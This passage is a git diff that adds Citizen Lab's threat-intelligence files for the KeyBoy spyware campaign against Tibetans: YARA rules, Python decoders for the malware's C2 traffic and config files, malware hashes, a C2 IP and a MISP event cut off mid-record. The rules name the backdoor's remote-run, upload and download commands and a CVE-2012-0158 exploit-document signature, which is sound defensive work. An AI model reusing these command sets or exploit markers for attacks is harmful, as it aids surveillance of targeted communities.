""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the new 2016 sample's export"" + date = ""2016-08-28"" + md5 = ""495adb1b9777002ecfe22aaf52fcee93"" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports(""Embedding"") or + pe.exports(""SSSS"") or + pe.exports(""GetUP"") +}","",1,20161107 +5820aeb4-7f4c-4e5b-af06-497a8e96ca05,17,Artifacts dropped,yara,"import ""pe"" +rule keyboy_init_config_section +{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the Init section where the config is stored"" + date = ""2016-08-28"" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + //Payloads are normally smaller but the new dropper we spotted + //is a bit larger. + filesize < 300KB and + + //Observed virtual sizes of the .Init section vary but they've + //always been 1024, 2048, or 4096 bytes. + for any i in (0..pe.number_of_sections - 1): + ( + pe.sections[i].name == "".Init"" and + pe.sections[i].virtual_size % 1024 == 0 + ) +}","",1,20161107 +5820aed7-4eac-4c87-ac4e-49798e96ca05,17,Payload delivery,yara,"rule CVE_2012_0158_KeyBoy { + meta: + author = ""Etienne Maynier "" + description = ""CVE-2012-0158 variant"" + file = ""8307e444cad98b1b59568ad2eba5f201"" + + strings: + $a = ""d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100000001"" nocase // OLE header + $b = ""ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"" nocase // junk data + $c = /5(\{\\b0\}|)[ ]*2006F00(\{\\b0\}|)[ ]*6F007(\{\\b0\}|)[ ]*400200045(\{\\b0\}|)[ ]*006(\{\\b0\}|)[ ]*E007(\{\\b0\}|)[ ]*400720079/ nocase + $d = ""MSComctlLib.ListViewCtrl.2"" + $e = ""ac38c874503c307405347aaaebf2ac2c31ebf6e8e3"" nocase //decoding shellcode + + condition: + all of them +}","",1,20161107 +5820aeee-3fdc-47cc-b940-497a8e96ca05,17,Payload delivery,yara,"rule keyboy_exploit_doc_meta{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the meta associated with these exploit docs"" + date = ""2016-09-30"" + + strings: + $role = ""{\\author Master}{\\operator Master}"" + $creatim = ""{\\creatim\\yr2015\\mo10\\dy16\\hr11\\min37}"" + $revtim = ""{\\revtim\\yr2015\\mo10\\dy16\\hr13\\min54}"" + + condition: + uint32be(0) == 0x7B5C7274 and + filesize < 1MB and + all of them +}","",1,20161107 +58235402-9d54-437c-b845-69fe8e96ca05,17,Artifacts dropped,regkey,"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ver","Contains the Keyboy version",1,20161116 +5823989b-68f0-4831-b1d8-49798e96ca05,17,Payload delivery,sha256,"5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49","dw20.exe dropper",1,20161109 +582398da-78c0-47ed-8bb9-49798e96ca05,17,Artifacts dropped,sha256,"9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04","Wab32res.dll payload, KeyBoy 20160509",1,20161109 +5823990b-db7c-45c9-9afb-69fe8e96ca05,17,Payload delivery,md5,"23d284245e53ae4fe05c517d807ffccf","dropper of 'agewkassif' version",1,20161109 +5823995f-701c-4616-84f5-49798e96ca05,17,Payload delivery,sha256,"542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf","dropper of 'agewkassif' sample",1,20161109 +58239987-0038-44ba-997f-49798e96ca05,17,Artifacts dropped,md5,"087bffa8a570079948310dc9731c5709","wab32res.dll, agewkassif version",1,20161109 +582399a3-04f8-4542-b205-49798e96ca05,17,Artifacts dropped,sha256,"5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88","Wab32res.dll payload, KeyBoy agewkassif version",1,20161109 +582c9016-1a1c-471e-890f-69fe8e96ca05,17,Network activity,ip-dst,"112.10.117.47","Other IP hosting tibetvoices.com",1,20161116 diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/kb_c2Decode.py b/data/ioc/spyware/citizen_lab/201611_KeyBoy/kb_c2Decode.py new file mode 100644 index 0000000..ef1ad91 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/kb_c2Decode.py @@ -0,0 +1,107 @@ +''' +KeyBoy C2 traffic pcap decoder +From: It's Parliamentary: KeyBoy and the targeting of the Tibetan Community +Permalink: https://citizenlab.org/2016/11/parliament-keyboy/ + +Adam Hulcoop / September 19, 2016 +adam.hulcoop[@]citizenlab.ca + +32 bit support only [64bit can use manual override] +''' + +import scapy +import argparse +import logging +import sys,getopt +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +from scapy.all import TCP,rdpcap,Raw + +def egcd(a, b): + if a == 0: + return (b, 0, 1) + else: + g, y, x = egcd(b % a, a) + return (g, x - (b // a) * y, y) + +def modinv(a, m): + g, x, y = egcd(a, m) + if g != 1: + raise Exception('modular inverse does not exist') + else: + return x % m + +if __name__ == "__main__": + + parser = argparse.ArgumentParser(description='Decode KeyBoy C2 traffic from pcap file') + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument('-k','--key',type=int, help="Manually provide C2 decode key") + group.add_argument('-b','--binary',help="KeyBoy binary") + parser.add_argument('PCAPF', help='PCAP File containing c2 traffic') + parser.add_argument('--verbose','-v',action='store_true',help='Enable verbose output') + args = parser.parse_args() + + if args.verbose: + logging.basicConfig(format='%(message)s',level=logging.DEBUG) + else: + logging.basicConfig(format='%(message)s',level=logging.WARNING) + + + + print "============================" + print "{KeyBoy C2 Traffic decoder}" + print "============================" + print "" + + if args.binary: + with open(args.binary,'rb') as keyboy_file: + keyboy_file.seek(0,2) + num_bytes_kb = keyboy_file.tell() + + count =0 + for i in range(num_bytes_kb): + keyboy_file.seek(i) + sig_p1 = keyboy_file.read(4) + sig_const = keyboy_file.read(1) + sig_p2 = keyboy_file.read(7) + + if ( (sig_p1 == b"\x8a\x04\x73\xb1") or (sig_p1 == b"\x8a\x04\x1e\xb1") ): + if ( (sig_p2 == b"\xf6\xe9\x88\x04\x73\x53\x46") or (sig_p2 == b"\xf6\xe9\x88\x04\x1e\x8b\xc3") ): + #sig_const should be the encoding constant + #print "Found const: 0x%x" % ord(sig_const) + logging.debug("Found constant: 0x%x" % ord(sig_const)) + encode_val = ord(sig_const) + count += 1 + break + + + if count < 1 : + logging.warn("Didn't find signature\nQuitting..") + sys.exit(1) + else: + logging.debug( "Computing decode value...") + inv = modinv(encode_val,256) + logging.debug("Found decoding multiplier (inverse): %s" % hex(inv)) + else: + logging.debug("Using manually specified decoding multiplier (inverse): %s" % hex(args.key)) + inv = args.key + + logging.warn ("Searching PCAP for RAW TCP packets and decoding...") + logging.warn("") + + + data ='' + p = rdpcap(args.PCAPF) + for pkt in p: + if( pkt.haslayer(TCP)): + if( pkt.haslayer(Raw)): + ba = bytearray(pkt.getlayer(Raw).load) + for byte in ba: + if byte == 0: + data += '' + else: + data += chr(int((byte*inv) & 255)) + + logging.warn(data) + + + diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/kb_configDecode.py b/data/ioc/spyware/citizen_lab/201611_KeyBoy/kb_configDecode.py new file mode 100644 index 0000000..6707162 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/kb_configDecode.py @@ -0,0 +1,196 @@ +''' +KeyBoy Config file decoder +From: It's Parliamentary: KeyBoy and the targeting of the Tibetan Community +Permalink: https://citizenlab.org/2016/11/parliament-keyboy/ + +Adam Hulcoop / September 19, 2016 +adam.hulcoop[@]citizenlab.ca +''' +import sys +import argparse +import logging + +LookupTable = {} + +# Function to compute 9-bit sliding window values and return list of converted indices +def byteDecoder(rawBytes): + #rawBytes should be bytearray of values + k=0 + ba = [] + + bytex=0 + while( bytex < len(rawBytes) -1): + + index = 0 + ix = bytex + t=0 + while ( index < 9): + + while (k<8): + + if( ( ord(rawBytes[ix]) & (1 << (7-k))) > 0 ): + t = 2*t +1 + else: + t = 2*t + + index+=1 + k+=1 + + if( index > 8): + break + + if ( k==8 ): + ix+=1 + k=0 + + + if (index<=8): + k=0 + elif ( (index == 9) and (k==8)): + k=0 + bytex+=1 + #t should hold the resultant value + ba.append(t) + bytex+=1 + + + return ba + + + + +def CreateLookupTable(): + for x in xrange(0,256): + LookupTable[x] = "{:x}".format(x) + + # 0x101 is used as the exit value + LookupTable[257] = "reserved" + + return + + + +def BuildExtraLookupTable(curIndex, prevIndex): + #curIndex and prevIndex are indices from the decoded input file + startFrom = len(LookupTable) + + if( curIndex > startFrom) : + # if we are looking up an index beyond the existing table size + vPrev = LookupTable.get(prevIndex) + vCur = LookupTable.get(prevIndex) + else: + vPrev = LookupTable.get(prevIndex) + vCur = LookupTable.get(curIndex) + + newVal = vPrev + + + if( len(vCur.split(',')) > 1 ): + augItem = vCur.split(',')[0] + else: + augItem = vCur + + newVal = ','.join([vPrev,augItem]) + + LookupTable[startFrom+1] = newVal + logging.debug("0x%x => %s" % ((startFrom+1),newVal )) + + return + + +if __name__ == "__main__": + + parser = argparse.ArgumentParser(description='Decode KeyBoy backdoor configuration files') + parser.add_argument('FILE', help='KeyBoy encoded config file') + parser.add_argument('--verbose','-v',action='store_true',help='Enable verbose output') + parser.add_argument('--skip','-s',type=int,help='Skip over bytes at beginning of file') + args = parser.parse_args() + + if args.verbose: + logging.basicConfig(format='%(message)s',level=logging.DEBUG) + else: + logging.basicConfig(format='%(message)s',level=logging.WARNING) + + + print "============================" + print "{KeyBoy Config file Decoder}" + print "============================" + print "" + + with open(args.FILE, "rb") as f: + + if args.skip is None: + f.seek(0,0) + else: + logging.warn("Skipping %i bytes.." % args.skip) + f.seek(args.skip,0) + + szfile = f.read(8) + szf_dat = int(szfile,16) + logging.debug("Size of decoded config file:\t%i bytes" % szf_dat) + + szconf = f.read(8) + szc_dat = int(szconf,16) + logging.debug("Size of encoded config data:\t%i bytes" % szc_dat) + logging.debug("") + + bytesRaw = f.read(szc_dat) + ba = byteDecoder(bytesRaw) + + #create the initial Lookup table + CreateLookupTable() + + ResultsList = [] + + #Build the extra lookup table values + logging.debug("Dynamic lookup table entries:") + for val in range(len(ba)): + + #for each entry in the bytes array, + # we need to look up the value in the table. + # As we go, we need to build new entries on the table + # corresponding to the value from this lookup, concatenated with the first character from the + # the value printed in the previous lookup. BuildExtraLookupTable function does that step. + + if( val == 0): + continue + elif (val == 1): + ResultsList.append(LookupTable.get(ba[val])) + prevValue = ba[val] + else: + curValue = ba[val] + if (curValue != 257): + BuildExtraLookupTable(curValue, prevValue) + ResultsList.append(LookupTable.get(ba[val])) + prevValue= curValue + + logging.debug("") + logging.debug("Decoded index list:") + logging.debug(['0x%x' % j for j in ba]) + logging.debug("") + + + resultData = ",".join(ResultsList) + hChars = resultData.split(',') + Output = "" + for h in hChars: + Output += chr(int(h,16)) + + logging.debug("Retrieved config character array:") + logging.debug(['0x%x' % int(m,16) for m in hChars]) + logging.debug("") + + TokenizedOutput = Output.split('\r\n') + ConfigSections = ['Identity Code:','C2 Host/IP #1:','C2 Host/IP #2:','C2 Host/IP #3:','C2 Port #1:','C2 Port #2:','C2 Port #3:','Password:','Campaign ID:',''] + + logging.warn("Configuration Data:") + headr = "=" * 30 + logging.warn(headr) + + for x in range(len(TokenizedOutput)-1): + logging.warn("%s\t%s" % (ConfigSections[x],TokenizedOutput[x])) + + logging.warn("") + + + diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/keyboy.yar b/data/ioc/spyware/citizen_lab/201611_KeyBoy/keyboy.yar new file mode 100644 index 0000000..b2c03e5 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/keyboy.yar @@ -0,0 +1,289 @@ +import "pe" + +/* +* +* This section of the rules are all specific to the new 2016 +* KeyBoy sample targeting the Tibetan community. Other following +* sections capture file characteristics observed across multiple +* years of development. Don't miss the exploit doc signatures +* at the very end. +* +*/ +rule new_keyboy_export +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("cfsUpdate") +} + + +rule new_keyboy_header_codes +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's header codes" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "*l*" wide fullword + $s2 = "*a*" wide fullword + $s3 = "*s*" wide fullword + $s4 = "*d*" wide fullword + $s5 = "*f*" wide fullword + $s6 = "*g*" wide fullword + $s7 = "*h*" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + all of them +} + + +/* +* +* This section of the rules are all broader and will hit on +* older KeyBoy samples and other samples possibly part of a +* a larger development effort. +* +*/ + +rule keyboy_commands +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's sent and received commands" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "Update" wide fullword + $s2 = "UpdateAndRun" wide fullword + $s3 = "Refresh" wide fullword + $s4 = "OnLine" wide fullword + $s5 = "Disconnect" wide fullword + $s6 = "Pw_Error" wide fullword + $s7 = "Pw_OK" wide fullword + $s8 = "Sysinfo" wide fullword + $s9 = "Download" wide fullword + $s10 = "UploadFileOk" wide fullword + $s11 = "RemoteRun" wide fullword + $s12 = "FileManager" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + 6 of them +} + +rule keyboy_errors +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the sample's shell error2 log statements" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are in ASCII pre-2015 and UNICODE in 2016 + $error = "Error2" ascii wide + //2016 specific: + $s1 = "Can't find [%s]!Check the file name and try again!" ascii wide + $s2 = "Open [%s] error! %d" ascii wide + $s3 = "The Size of [%s] is zero!" ascii wide + $s4 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s5 = "UploadFile [%s] Error:Connect Server Failed!" ascii wide + $s6 = "Receive [%s] Error(Recved[%d] != Send[%d])!" ascii wide + $s7 = "Receive [%s] ok! Use %2.2f seconds, Average speed %2.2f k/s" ascii wide + $s8 = "CreateThread UploadFile[%s] Error!" ascii wide + //Pre-2016: + $s9 = "Ready Download [%s] ok!" ascii wide + $s10 = "Get ControlInfo from FileClient error!" ascii wide + $s11 = "FileClient has a error!" ascii wide + $s12 = "VirtualAlloc SendBuff Error(%d)" ascii wide + $s13 = "ReadFile [%s] Error(%d)..." ascii wide + $s14 = "ReadFile [%s] Data[Readed(%d) != FileSize(%d)] Error..." ascii wide + $s15 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s16 = "RecvData MyRecv_Info Size Error!" ascii wide + $s17 = "RecvData MyRecv_Info Tag Error!" ascii wide + $s18 = "SendData szControlInfo_1 Error!" ascii wide + $s19 = "SendData szControlInfo_3 Error!" ascii wide + $s20 = "VirtualAlloc RecvBuff Error(%d)" ascii wide + $s21 = "RecvData Error!" ascii wide + $s22 = "WriteFile [%s} Error(%d)..." ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + $error and 3 of ($s*) +} + + +rule keyboy_systeminfo +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the system information format before sending to C2" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are ASCII pre-2015 and UNICODE in 2016 + $s1 = "SystemVersion: %s" ascii wide + $s2 = "Product ID: %s" ascii wide + $s3 = "InstallPath: %s" ascii wide + $s4 = "InstallTime: %d-%d-%d, %02d:%02d:%02d" ascii wide + $s5 = "ResgisterGroup: %s" ascii wide + $s6 = "RegisterUser: %s" ascii wide + $s7 = "ComputerName: %s" ascii wide + $s8 = "WindowsDirectory: %s" ascii wide + $s9 = "System Directory: %s" ascii wide + $s10 = "Number of Processors: %d" ascii wide + $s11 = "CPU[%d]: %s: %sMHz" ascii wide + $s12 = "RAM: %dMB Total, %dMB Free." ascii wide + $s13 = "DisplayMode: %d x %d, %dHz, %dbit" ascii wide + $s14 = "Uptime: %d Days %02u:%02u:%02u" ascii wide + + + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + 7 of them +} + + +rule keyboy_related_exports +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("Embedding") or + pe.exports("SSSS") or + pe.exports("GetUP") +} + +// Note: The use of the .Init section has been observed in nearly +// all samples with the exception of the 2013 VN dropper from the +// Rapid7 blog. The config data was stored in that sample's .data +// section. +rule keyboy_init_config_section +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the Init section where the config is stored" + date = "2016-08-28" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + //Payloads are normally smaller but the new dropper we spotted + //is a bit larger. + filesize < 300KB and + + + //Observed virtual sizes of the .Init section vary but they've + //always been 1024, 2048, or 4096 bytes. + for any i in (0..pe.number_of_sections - 1): + ( + pe.sections[i].name == ".Init" and + pe.sections[i].virtual_size % 1024 == 0 + ) +} + + +/* +* +* These signatures fire on the exploit documents used in this +* operation. +* +*/ +rule CVE_2012_0158_KeyBoy { + meta: + author = "Etienne Maynier " + description = "CVE-2012-0158 variant" + file = "8307e444cad98b1b59568ad2eba5f201" + + + strings: + $a = "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100000001" nocase // OLE header + $b = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" nocase // junk data + $c = /5(\{\\b0\}|)[ ]*2006F00(\{\\b0\}|)[ ]*6F007(\{\\b0\}|)[ ]*400200045(\{\\b0\}|)[ ]*006(\{\\b0\}|)[ ]*E007(\{\\b0\}|)[ ]*400720079/ nocase + $d = "MSComctlLib.ListViewCtrl.2" + $e = "ac38c874503c307405347aaaebf2ac2c31ebf6e8e3" nocase //decoding shellcode + + + condition: + all of them +} diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/misp.json b/data/ioc/spyware/citizen_lab/201611_KeyBoy/misp.json new file mode 100644 index 0000000..bee286a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/misp.json @@ -0,0 +1,1519 @@ +{"response":[{ + "Event": { + "id": "5414", + "orgc_id": "253", + "org_id": "2", + "date": "2016-11-17", + "threat_level_id": "2", + "info": "It\u2019s Parliamentary: KeyBoy and the targeting of the Tibetan Community", + "published": true, + "uuid": "582dd48e-66bc-40c1-ae49-6fe8d56c6cd2", + "attribute_count": "79", + "analysis": "2", + "timestamp": "1479720306", + "distribution": "3", + "proposal_email_lock": false, + "locked": true, + "publish_timestamp": "1479720314", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "CIRCL", + "uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f" + }, + "Orgc": { + "id": "253", + "name": "CiviCERT", + "uuid": "56743359-c860-4361-b1dc-7b65d56c6cd2" + }, + "Attribute": [ + { + "id": "591469", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "582dd725-1a84-4454-b86e-7007d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399205", + "comment": "Wab32res.exe legitimate file used for DLL side loading", + "sharing_group_id": "0", + "deleted": false, + "value": "8f08609e4e0b3d26814b3073a42df415", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591470", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd740-b944-4070-9b70-0692d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399231", + "comment": "Wab32res.dll payload, KeyBoy 20160509", + "sharing_group_id": "0", + "deleted": false, + "value": "495adb1b9777002ecfe22aaf52fcee93", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591471", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd74f-c72c-4221-bc3f-6fe8d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399247", + "comment": "Payload KeyBoy P_20150313", + "sharing_group_id": "0", + "deleted": false, + "value": "0c7e55509e0b6d4277b3facf864af018", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591472", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd75d-7a3c-4990-883d-0696d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399261", + "comment": "Payload KeyBoy 20151108", + "sharing_group_id": "0", + "deleted": false, + "value": "98977426d544bd145979f65f0322ae30", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591473", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd76d-b590-4d21-9ff6-7005d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399277", + "comment": "Payload KeyBoy 20151108", + "sharing_group_id": "0", + "deleted": false, + "value": "c5b5f01ba24d6c02636388809f44472e", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591474", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd77a-cda4-42a0-9b86-7008d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399290", + "comment": "64b KeyBoy payload 20151108", + "sharing_group_id": "0", + "deleted": false, + "value": "371bc132499f455f06fa80696db0df27", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591475", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "582dd78b-1198-4b24-b6d3-7006d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399307", + "comment": "wab32res.dll, agewkassif version", + "sharing_group_id": "0", + "deleted": false, + "value": "087bffa8a570079948310dc9731c5709", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591476", + "type": "regkey", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd79a-c36c-4329-952c-7007d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399322", + "comment": "Contains the Keyboy version", + "sharing_group_id": "0", + "deleted": false, + "value": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Ver", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591521", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd48-3de0-4688-8add-48f502de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720264", + "comment": "Wab32res.dll payload, KeyBoy agewkassif version - Xchecked via VT: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88", + "sharing_group_id": "0", + "deleted": false, + "value": "c97b12039e324721130d58d127c4e6f356e3f6e8", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591523", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd49-19b0-4338-af0d-47c402de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720265", + "comment": "Wab32res.dll payload, KeyBoy 20160509 - Xchecked via VT: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04", + "sharing_group_id": "0", + "deleted": false, + "value": "5bc42d475fa35e00e2584a4142c2767a4707019b", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591525", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5832bd4a-dd54-4a76-bf57-4b9c02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720266", + "comment": "legitimate Microsoft Windows Address Book executable, used to load final payload - Xchecked via VT: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d", + "sharing_group_id": "0", + "deleted": false, + "value": "280dd67bbdfadaac0a4eb7a1c770387c216f3b8b", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591537", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd51-76b0-4f37-860b-4b3802de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720273", + "comment": "64b KeyBoy payload 20151108 - Xchecked via VT: 371bc132499f455f06fa80696db0df27", + "sharing_group_id": "0", + "deleted": false, + "value": "aec5001d91673d052e9a0793aea0ebaea1a96e3d", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591540", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd52-2228-4453-b38e-41b102de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720274", + "comment": "Payload KeyBoy 20151108 - Xchecked via VT: c5b5f01ba24d6c02636388809f44472e", + "sharing_group_id": "0", + "deleted": false, + "value": "bbeacc746b6ddb61a3be7613bb155aa2b1ac422a", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591543", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd54-87e0-49a7-8971-480e02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720276", + "comment": "Payload KeyBoy 20151108 - Xchecked via VT: 98977426d544bd145979f65f0322ae30", + "sharing_group_id": "0", + "deleted": false, + "value": "edad39839bd60bcc1426df9c68df7de169cd062f", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591546", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd55-f334-44ed-81f9-401602de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720277", + "comment": "Payload KeyBoy P_20150313 - Xchecked via VT: 0c7e55509e0b6d4277b3facf864af018", + "sharing_group_id": "0", + "deleted": false, + "value": "a3655df2811069ea7a818517c9e9f11561fce3e8", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591477", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "582dd7b3-3fec-4380-b6a1-6ff1d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399347", + "comment": "legitimate Microsoft Windows Address Book executable, used to load final payload", + "sharing_group_id": "0", + "deleted": false, + "value": "58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591478", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd7c2-7434-4d28-af67-7007d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399362", + "comment": "Wab32res.dll payload, KeyBoy 20160509", + "sharing_group_id": "0", + "deleted": false, + "value": "9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591479", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd7d3-3800-473b-b088-7006d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399379", + "comment": "Wab32res.dll payload, KeyBoy agewkassif version", + "sharing_group_id": "0", + "deleted": false, + "value": "5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591536", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd50-8af8-4d7a-bf57-4c1702de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720272", + "comment": "64b KeyBoy payload 20151108 - Xchecked via VT: 371bc132499f455f06fa80696db0df27", + "sharing_group_id": "0", + "deleted": false, + "value": "4c9bf4ffbd7047f46035f89e6f7f4c63b8597ac63097577d467c157e3aa7ab4d", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591539", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd52-5310-486b-876f-4b0e02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720274", + "comment": "Payload KeyBoy 20151108 - Xchecked via VT: c5b5f01ba24d6c02636388809f44472e", + "sharing_group_id": "0", + "deleted": false, + "value": "e6fdcf64d7e7d59366ba23c68332167dfc569b6acc71a03498d4a925ce9c1e0a", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591542", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + 